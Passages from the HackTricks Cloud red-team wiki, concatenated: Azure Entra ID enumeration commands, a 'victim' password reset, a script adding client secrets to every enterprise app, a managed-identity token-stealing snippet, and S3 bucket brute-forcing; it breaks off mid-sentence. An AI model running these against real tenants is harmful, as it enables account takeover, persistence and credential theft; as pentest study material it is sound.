Administrative Units of a user $userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'" Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } } bash # Enumerate users Get-AzADUser # Get details of a user Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com # Search user by string Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName Get-AzADUser | ?{$_.Displayname -match "admin"} # Get roles assigned to a user Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose It's highly recommended to add MFA to every user, however, some companies won't set it or might set it with a Conditional Access: The user will be **required MFA if** it logs in from an specific location, browser or **some condition**. These policies, if not configured correctly might be prone to **bypasses**. Check: [Az - Conditional Access Policies & MFA Bypass](../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.html) For more information about Entra ID groups check: [Az - Basic Information](../az-basic-information/index.html) bash # Enumerate groups az ad group list az ad group list --query "[].[displayName]" -o table # Get info of 1 group az ad group show --group # Get "admin" groups az ad group list --query "[].displayName" | findstr /i "admin" az ad group list --query "[?contains(displayName,'admin')].displayName" # All groups from Entra ID az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]" az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName" # All groups synced from on-prem az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]" az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName" # Get members of group az ad group member list --group --query "[].userPrincipalName" -o table # Check if member of group az ad group member check --group "VM Admins" --member-id # Get which groups a group is member of az ad group get-member-groups -g "VM Admins" # Get roles assigned to the group in Azure (NOT in Entra ID) az role assignment list --include-groups --include-classic-administrators true --assignee # To get Entra ID roles assigned check how it's done with users and use a group ID bash # Get all groups Get-AzADGroup # Get details of a group Get-AzADGroup -ObjectId # Search group by string Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName Get-AzADGroup |?{$_.Displayname -match "admin"} # Get members of group Get-AzADGroupMember -GroupDisplayName # Get roles of group Get-AzRoleAssignment -ResourceGroupName bash # Enumerate groups using Microsoft Graph PowerShell Get-MgGroup -All # Get group details Get-MgGroup -GroupId | Format-List * # Search "admin" groups Get-MgGroup -All | Where-Object { $_.DisplayName -like "*admin*" } | Select-Object DisplayName # Get members of a group Get-MgGroupMember -GroupId -All # Get groups a group is member of Get-MgGroupMemberOf -GroupId # Get roles assigned to the group in Entra ID Get-MgGroupAppRoleAssignment -GroupId # Get group owner Get-MgGroupOwner -GroupId # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Groups bash # Enumerate Groups Get-AzureADGroup -All $true # Get info of 1 group Get-AzADGroup -DisplayName | fl # Get "admin" groups Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin" Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin" # Get groups allowing dynamic membership Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} # All groups that are from Azure AD Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null} # All groups that are synced from on-prem (note that security groups are not synced) Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} # Get members of a group Get-AzureADGroupMember -ObjectId # Get roles of group Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'" # Get Administrative Units of a group $groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'" Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} } # Get Apps where a group has a role (role not shown) Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * Owners of the group can add new users to the group bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose warning Groups can be dynamic, which basically means that **if a user fulfil certain conditions it will be added to a group**. Of course, if the conditions are based in **attributes** a **user** can **control**, he could abuse this feature to **get inside other groups**. Check how to abuse dynamic groups in the following page: [Az - Dynamic Groups Privesc](../az-privilege-escalation/az-entraid-privesc/dynamic-groups.html) For more information about Entra ID service principals check: [Az - Basic Information](../az-basic-information/index.html) bash # Get Service Principals az ad sp list --all az ad sp list --all --query "[].[displayName,appId]" -o table # Get details of one SP az ad sp show --id 00000000-0000-0000-0000-000000000000 # Search SP by string az ad sp list --all --query "[?contains(displayName,'app')].displayName" # Get owner of service principal az ad sp owner list --id --query "[].[displayName]" -o table # Get service principals owned by the current user az ad sp list --show-mine # Get SPs with generated secret or certificate az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json bash # Get SPs Get-AzADServicePrincipal # Get info of 1 SP Get-AzADServicePrincipal -ObjectId # Search SP by string Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"} # Get roles of a SP Get-AzRoleAssignment -ServicePrincipalName bash $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value bash # Get Service Principals using Microsoft Graph PowerShell Get-MgServicePrincipal -All # Get details of one Service Principal Get-MgServicePrincipal -ServicePrincipalId | Format-List * # Search SP by display name Get-MgServicePrincipal -All | Where-Object { $_.DisplayName -like "*app*" } | Select-Object DisplayName # Get owner of Service Principal Get-MgServicePrincipalOwner -ServicePrincipalId # Get objects owned by a Service Principal Get-MgServicePrincipalOwnedObject -ServicePrincipalId # Get groups where the SP is a member Get-MgServicePrincipalMemberOf -ServicePrincipalId # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.ServicePrincipals bash # Get Service Principals Get-AzureADServicePrincipal -All $true # Get details about a SP Get-AzureADServicePrincipal -ObjectId | fl * # Get SP by string name or Id Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"} # Get owner of SP Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalOwner |fl * # Get objects owned by a SP Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalOwnedObject # Get objects created by a SP Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalCreatedObject # Get groups where the SP is a member Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembership |fl * warning The Owner of a Service Principal can change its password. List and try to add a client secret on each Enterprise App bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications. .PARAMETER GraphToken Pass the Graph API Token .EXAMPLE PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..' .LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #> [CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null ) $AppList = $null $AppPassword = $null # List All the Applications $Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } } try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { } # Add Password in the Application if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @() foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject $Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } } $Body = @{ "passwordCredential"= @{ "displayName" = "Password" } } try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } } For more information about Applications check: [Az - Basic Information](../az-basic-information/index.html) When an App is generated 2 types of permissions are given: * **Permissions** given to the **Service Principal** * **Permissions** the **app** can have and use on **behalf of the user**. bash # List Apps az ad app list az ad app list --query "[].[displayName,appId]" -o table # Get info of 1 App az ad app show --id 00000000-0000-0000-0000-000000000000 # Search App by string az ad app list --query "[?contains(displayName,'app')].displayName" # Get the owner of an application az ad app owner list --id --query "[].[displayName]" -o table # Get SPs owned by current user az ad app list --show-mine # Get apps with generated secret or certificate az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json # Get Global Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members" # Get Application Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members" # Get Cloud Applications Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" bash # Get Apps Get-AzADApplication # Get details of one App Get-AzADApplication -ObjectId # Get App searching by string Get-AzADApplication | ?{$_.DisplayName -match "app"} # Get Apps with password Get-AzADAppCredential bash # List Applications using Microsoft Graph PowerShell Get-MgApplication -All # Get application details Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List * # Search App by display name Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName # Get owner of an application Get-MgApplicationOwner -ApplicationId # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Applications bash # List all registered applications Get-AzureADApplication -All $true # Get details of an application Get-AzureADApplication -ObjectId | fl * # List all the apps with an application password Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}} # Get owner of an application Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * warning An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role. For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48) . note A secret string that the application uses to prove its identity when requesting a token is the application password. So, if find this **password** you can access as the **service principal** **inside** the **tenant**. Note that this password is only visible when generated (you could change it but you cannot get it again). The **owner** of the **application** can **add a password** to it (so he can impersonate it). Logins as these service principals are **not marked as risky** and they **won't have MFA.** It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) For more information about Managed Identities check: [Az - Basic Information](../az-basic-information/index.html) bash # List all manged identities az identity list --output table # With the principal ID you can continue the enumeration in service principals For more information about Azure roles check: [Az - Basic Information](../az-basic-information/index.html) bash # Get roles az role definition list # Get all assigned roles az role assignment list --all --query "[].roleDefinitionName" az role assignment list --all | jq '.[] | .roleDefinitionName,.scope' # Get info of 1 role az role definition list --name "AzureML Registry User" # Get only custom roles az role definition list --custom-role-only # Get only roles assigned to the resource group indicated az role definition list --resource-group # Get only roles assigned to the indicated scope az role definition list --scope # Get all the principals a role is assigned to az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='']" # Get all the roles assigned to a user az role assignment list --assignee "" --all --output table # Get all the roles assigned to a user by filtering az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table # Get deny assignments az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01" ## Example scope of subscription az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01" bash # List all available role templates using Microsoft Graph PowerShell Get-MgDirectoryRoleTemplate -All # List enabled built-in Entra ID roles Get-MgDirectoryRole -All # List all Entra ID roles with their permissions (including custom roles) Get-MgDirectoryRoleDefinition -All # List members of a Entra ID role Get-MgDirectoryRoleMember -DirectoryRoleId -All # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement For more information about Azure roles check: [Az - Basic Information](../az-basic-information/index.html) bash # List template Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates" # List enabled built-in Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/directoryRoles" # List all Entra ID roles with their permissions (including custom roles) az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" # List only custom Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' # List all assigned Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" # List members of a Entra ID roles az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/directoryRoles//members" # List Entra ID roles assigned to a user az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json # List Entra ID roles assigned to a group az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json # List Entra ID roles assigned to a service principal az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json bash # Get all available role templates Get-AzureADDirectoryroleTemplate # Get enabled roles (Assigned roles) Get-AzureADDirectoryRole Get-AzureADDirectoryRole -ObjectId #Get info about the role # Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName # Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl # Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * bash # If you know how to do this send a PR! bash # Enumerate devices using Microsoft Graph PowerShell Get-MgDevice -All # Get device details Get-MgDevice -DeviceId | Format-List * # Get devices managed using Intune Get-MgDevice -Filter "isCompliant eq true" -All # Get devices owned by a user Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement bash # Enumerate Devices Get-AzureADDevice -All $true | fl * # List all the active devices (and not the stale devices) Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} # Get owners of all devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} # Registred users of all the devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} # Get dives managed using Intune Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} # Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com # Get Administrative Units of a device Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} } warning If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**. Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**. For more information about administrative units check: [Az - Basic Information](../az-basic-information/index.html) bash # List all administrative units az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits" # Get AU info az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53" # Get members az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members" # Get principals with roles over the AU az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers" bash # Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id # Get ID of admin unit by string $adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'" # List the users, groups, and devices affected by the administrative unit Get-AzureADMSAdministrativeUnitMember -Id # Get the roles users have over the members of the AU Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members [Az - EntraID Privesc](../az-privilege-escalation/az-entraid-privesc/index.html) [Az - Azure IAM Privesc (Authorization)](../az-privilege-escalation/az-authorization-privesc.html) Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request. Note that the user will also be able to ask to **extend** the time. Moreover, **PIM send emails** whenever a privileged role is being assigned to someone. ![](../../../images/image (354).png) When PIM is enabled it's possible to configure each role with certain requirements like: * Maximum duration (hours) of activation * Require MFA on activation * Require Conditional Access acuthenticaiton context * Require justification on activation * Require ticket information on activation * Require approval to activate * Max time to expire the elegible assignments * A lot more configuration on when and who to send notifications when certain actions happen with that role Check: [Az - Conditional Access Policies & MFA Bypass](../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.html) Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**: ![](../../../images/image (356).png) tip Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft\_AAD\_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) ) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**. It also allows to **ban a custom password list** that you need to provide. It can be **applied both** at the cloud level and on-premises Active Directory. The default mode is **Audit**: ![](../../../images/image (355).png) * [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Services - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/) Get **access\_token** from **IDENTITY\_HEADER** and **IDENTITY\_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. Then query the Azure REST API to get the **subscription ID** and more . bash $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # List resources and check for runCommand privileges $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ func.HttpResponse: logging.info('Python HTTP trigger function processed a request.') IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) val = os.popen(cmd).read() return func.HttpResponse(val, status_code=200) **The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.** tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - S3 Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). **Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) Different methods to find when a webpage is using AWS to storage some resources: * Using **wappalyzer** browser plugin * Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. * **Check for resources** in domains like: http://s3.amazonaws.com/[bucket_name]/ http://[bucket_name].s3.amazonaws.com/ * Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` * Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) , a web with already **discovered open buckets**. * The **bucket name** and the **bucket domain name** needs to be **the same.** * **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) . Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. * To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/) . You can find buckets by **brute-forcing name**s related to the company you are pentesting: * [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) * [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) * [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) * [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) * [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) * [https://github.com/tomdev/teh\_s3\_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) * [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) * [https://github.com/Eilonh/s3crets\_scanner](https://github.com/Eilonh/s3crets_scanner) * [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) # Generate a wordlist to create permutations curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt # Generate a wordlist based on the domains and subdomains to test ## Write those domains and subdomains in subdomains.txt cat subdomains.txt > /tmp/words-hosts-s3.txt cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt # Create permutations based in a list with the domains and subdomains to attack goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp ## The previous tool is specialized increating permutations for subdomains, lets filter that list ### Remove lines ending with "." cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2 ### Create list without TLD cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3 ### Create list without dots cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/ ### Create list without hyphens cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5 ## Generate the final wordlist cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt ## Call s3scanner s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists Given S3 open buckets, 